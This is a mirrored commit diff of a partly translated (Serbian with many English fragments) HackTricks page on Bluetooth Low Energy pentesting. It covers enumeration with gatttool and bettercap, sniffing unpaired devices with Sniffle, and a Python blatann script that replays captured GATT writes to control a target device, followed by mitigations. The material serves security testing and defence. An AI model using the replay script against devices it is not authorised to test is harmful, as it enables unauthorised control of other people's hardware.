mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/todo/radio-hacking/pentesting-ble-bluetooth-low-ene
This commit is contained in:
parent
f2732bee14
commit
cd771ab842
@ -6,17 +6,17 @@
|
||||
|
||||
Dostupan od Bluetooth 4.0 specifikacije, BLE koristi samo 40 kanala, pokrivajući opseg od 2400 do 2483.5 MHz. Nasuprot tome, tradicionalni Bluetooth koristi 79 kanala u istom opsegu.
|
||||
|
||||
BLE uređaji komuniciraju slanjem **oglasnih paketa** (**beacon-a**), ovi paketi emitiraju postojanje BLE uređaja drugim obližnjim uređajima. Ovi beacon-i ponekad takođe **šalju podatke**.
|
||||
BLE uređaji komuniciraju slanjem **advertising packets** (**beacons**); ti paketi emituju postojanje BLE uređaja drugim bliskim uređajima. Ti beaconi ponekad takođe **send data**.
|
||||
|
||||
Uređaj koji sluša, takođe nazvan centralni uređaj, može odgovoriti na oglasni paket sa **SCAN zahtevom** poslatim posebno oglasnom uređaju. **Odgovor** na taj sken koristi istu strukturu kao i **oglasni** paket sa dodatnim informacijama koje nisu mogle stati u inicijalni oglasni zahtev, kao što je puno ime uređaja.
|
||||
Uređaj koji sluša, takođe nazvan centralni uređaj, može odgovoriti na advertising packet sa **SCAN request** poslatim specifično advertising uređaju. The **response** to that scan uses the same structure as the **advertising** packet with additional information that couldn’t fit on the initial advertising request, such as the full device name.
|
||||
|
||||
.png>)
|
||||
|
||||
Bajt preambule sinhronizuje frekvenciju, dok je četvorobajtna adresa pristupa **identifikator veze**, koji se koristi u scenarijima gde više uređaja pokušava da uspostavi veze na istim kanalima. Zatim, Protokol Data Unit (**PDU**) sadrži **oglasne podatke**. Postoji nekoliko tipova PDU; najčešće korišćeni su ADV_NONCONN_IND i ADV_IND. Uređaji koriste **ADV_NONCONN_IND** PDU tip ako **ne prihvataju veze**, prenoseći podatke samo u oglasnom paketu. Uređaji koriste **ADV_IND** ako **dozvoljavaju veze** i **prestaju da šalju oglasne** pakete kada je **veza** **uspostavljena**.
|
||||
Preambula bajt sinhronizuje frekvenciju, dok je četvorobajtna access address **connection identifier**, koja se koristi u scenarijima gde više uređaja pokušava da uspostavi konekcije na istim kanalima. Zatim, Protocol Data Unit (**PDU**) sadrži **advertising data**. Postoji nekoliko tipova PDU; najčešće korišćeni su ADV_NONCONN_IND i ADV_IND. Uređaji koriste tip PDU **ADV_NONCONN_IND** ako **don’t accept connections**, transmitujući podatke samo u advertising packetu. Uređaji koriste **ADV_IND** ako **allow connections** i **stop sending advertising** pakete kada je **connection** **established**.
|
||||
|
||||
### GATT
|
||||
|
||||
**Generic Attribute Profile** (GATT) definiše kako **uređaj treba da formatira i prenosi podatke**. Kada analizirate napadnu površinu BLE uređaja, često ćete usmeriti svoju pažnju na GATT (ili GATT-ove), jer je to način na koji se **funkcionalnost uređaja aktivira** i kako se podaci čuvaju, grupišu i modifikuju. GATT navodi karakteristike, deskriptore i usluge uređaja u tabeli kao 16- ili 32-bitne vrednosti. **Karakteristika** je **podatkovna** vrednost **poslata** između centralnog uređaja i perifernog. Ove karakteristike mogu imati **deskriptore** koji **pružaju dodatne informacije o njima**. **Karakteristike** se često **grupišu** u **usluge** ako su povezane sa obavljanjem određene radnje.
|
||||
The **Generic Attribute Profile** (GATT) definiše kako **device should format and transfer data**. Kada analizirate attack surface BLE uređaja, često ćete se fokusirati na GATT (ili GATTs), jer je to način na koji se **device functionality gets triggered** i kako se podaci čuvaju, grupišu i modifikuju. GATT navodi karakteristike uređaja, deskriptore i servise u tabeli kao vrednosti od 16 ili 32 bita. A **characteristic** je vrednost podataka **sent** između centralnog uređaja i periferije. Te karakteristike mogu imati **descriptors** koji im pružaju dodatne informacije. **Characteristics** se često grupišu u **services** ako su povezane sa izvršavanjem određene akcije.
|
||||
|
||||
## Enumeracija
|
||||
```bash
|
||||
@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
|
||||
```
|
||||
### GATTool
|
||||
|
||||
**GATTool** omogućava **uspostavljanje** **veze** sa drugim uređajem, prikazujući **karakteristike** tog uređaja, kao i čitanje i pisanje njegovih atributa.\
|
||||
GATTTool može pokrenuti interaktivnu ljusku sa `-I` opcijom:
|
||||
**GATTool** omogućava da **uspostavi** **vezu** sa drugim uređajem, navodeći **karakteristike** tog uređaja i čitajući i upisujući njegove atribute.\
|
||||
GATTTool može pokrenuti interaktivni shell pomoću opcije `-I`:
|
||||
```bash
|
||||
gatttool -i hci0 -I
|
||||
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
|
||||
@ -64,4 +64,125 @@ sudo bettercap --eval "ble.recon on"
|
||||
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
|
||||
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
|
||||
```
|
||||
## Sniffing i aktivno upravljanje nepariranim BLE uređajima
|
||||
|
||||
Mnogi jeftini BLE periferijski uređaji ne nameću pairing/bonding. Bez bondinga, Link Layer encryption se nikada ne uključuje, pa je ATT/GATT saobraćaj u cleartext-u. Off-path sniffer može pratiti konekciju, dekodirati GATT operacije da bi saznao characteristic handles i values, i bilo koji obližnji host potom se može povezati i replay-ovati te writes kako bi kontrolisao uređaj.
|
||||
|
||||
### Sniffing with Sniffle (CC26x2/CC1352)
|
||||
|
||||
Hardver: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) ponovo flash-ovan sa NCC Group’s Sniffle firmware.
|
||||
|
||||
Instalirajte Sniffle i njegov Wireshark extcap na Linux:
|
||||
```bash
|
||||
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
|
||||
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
|
||||
sudo mkdir -p /opt/sniffle
|
||||
sudo chown -R $USER:$USER /opt/sniffle
|
||||
pushd /opt/sniffle
|
||||
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
|
||||
tar xvf v1.10.0.tar.gz
|
||||
# Install Wireshark extcap for user and root only
|
||||
mkdir -p $HOME/.local/lib/wireshark/extcap
|
||||
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
|
||||
sudo mkdir -p /root/.local/lib/wireshark/extcap
|
||||
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
|
||||
popd
|
||||
else
|
||||
echo "[+] - Sniffle already installed at 1.10.0"
|
||||
fi
|
||||
```
|
||||
Flash Sonoff with Sniffle firmware (proverite da vaš serijski uređaj odgovara, npr. /dev/ttyUSB0):
|
||||
```bash
|
||||
pushd /opt/sniffle/
|
||||
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
|
||||
git clone https://github.com/sultanqasim/cc2538-bsl.git
|
||||
cd cc2538-bsl
|
||||
python3 -m venv .venv
|
||||
source .venv/bin/activate
|
||||
python3 -m pip install pyserial intelhex
|
||||
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
|
||||
deactivate
|
||||
popd
|
||||
```
|
||||
Snimite u Wireshark preko Sniffle extcap i brzo pivotujte na upise koji menjaju stanje filtriranjem:
|
||||
```text
|
||||
_ws.col.info contains "Sent Write Command"
|
||||
```
|
||||
Ovo ističe ATT Write Commands od client-a; handle i value često se direktno mapiraju na akcije uređaja (npr. write 0x01 na buzzer/alert characteristic, 0x00 za zaustavljanje).
|
||||
|
||||
Brzi primeri za Sniffle CLI:
|
||||
```bash
|
||||
python3 scanner.py --output scan.pcap
|
||||
# Only devices with very strong signal
|
||||
python3 scanner.py --rssi -40
|
||||
# Filter advertisements containing a string
|
||||
python3 sniffer.py --string "banana" --output sniff.pcap
|
||||
```
|
||||
Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin takođe radi. Na malim/jeftinim Nordic dongle-ovima obično prepisujete USB bootloader da biste učitali sniffer firmware, pa ili držite posvećeni sniffer dongle ili vam treba J-Link/JTAG da kasnije vratite bootloader.
|
||||
|
||||
### Aktivna kontrola preko GATT
|
||||
|
||||
Kada identifikujete writable characteristic handle i vrednost iz sniffed saobraćaja, povežite se kao bilo koji central i izvršite istu Write operaciju:
|
||||
|
||||
- Sa Nordic nRF Connect for Desktop (BLE app):
|
||||
- Izaberite nRF52/nRF52840 dongle, skenirajte i povežite se sa ciljem.
|
||||
- Pregledajte GATT database, pronađite target characteristic (često ima friendly name, npr. Alert Level).
|
||||
- Izvršite Write sa sniffed bytes (npr. 01 za aktiviranje, 00 za zaustavljanje).
|
||||
|
||||
- Automatizujte na Windows koristeći Nordic dongle i Python + blatann:
|
||||
```python
|
||||
import time
|
||||
import blatann
|
||||
|
||||
# CONFIG
|
||||
COM_PORT = "COM29" # Replace with your COM port
|
||||
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
|
||||
|
||||
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
|
||||
|
||||
# CONNECT
|
||||
ble_device = blatann.BleDevice(COM_PORT)
|
||||
ble_device.configure()
|
||||
ble_device.open()
|
||||
print(f"[-] Connecting to {TARGET_MAC}...")
|
||||
peer = ble_device.connect(target_address).wait()
|
||||
if not peer:
|
||||
print("[!] Connection failed.")
|
||||
ble_device.close()
|
||||
raise SystemExit(1)
|
||||
|
||||
print("Connected. Discovering services...")
|
||||
peer.discover_services().wait(5, exception_on_timeout=False)
|
||||
|
||||
# Example: write 0x01/0x00 to a known handle
|
||||
for service in peer.database.services:
|
||||
for ch in service.characteristics:
|
||||
if ch.handle == 0x000b: # Replace with your handle
|
||||
print("[!] Beeping.")
|
||||
ch.write(b"\x01")
|
||||
time.sleep(2)
|
||||
print("[+] And relax.")
|
||||
ch.write(b"\x00")
|
||||
|
||||
print("[-] Disconnecting...")
|
||||
peer.disconnect()
|
||||
peer.wait_for_disconnect()
|
||||
ble_device.close()
|
||||
```
|
||||
### Operativne napomene i mere
|
||||
|
||||
- Preporučuje se korišćenje Sonoff+Sniffle na Linuxu za pouzdano channel hopping i praćenje konekcije. Imajte rezervni Nordic sniffer kao rezervu.
|
||||
- Bez pairing/bonding, napadač u blizini može posmatrati writes i replay/craft svoje za neautentifikovane writable karakteristike.
|
||||
- Mere ublažavanja: zahtevati pairing/bonding i primeniti enkripciju; podesiti characteristic permissions da zahtevaju authenticated writes; minimizovati neautentifikovane writable karakteristike; validirati GATT ACLs pomoću Sniffle/nRF Connect.
|
||||
|
||||
## References
|
||||
|
||||
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
|
||||
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
|
||||
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
|
||||
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
|
||||
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
|
||||
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
|
||||
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user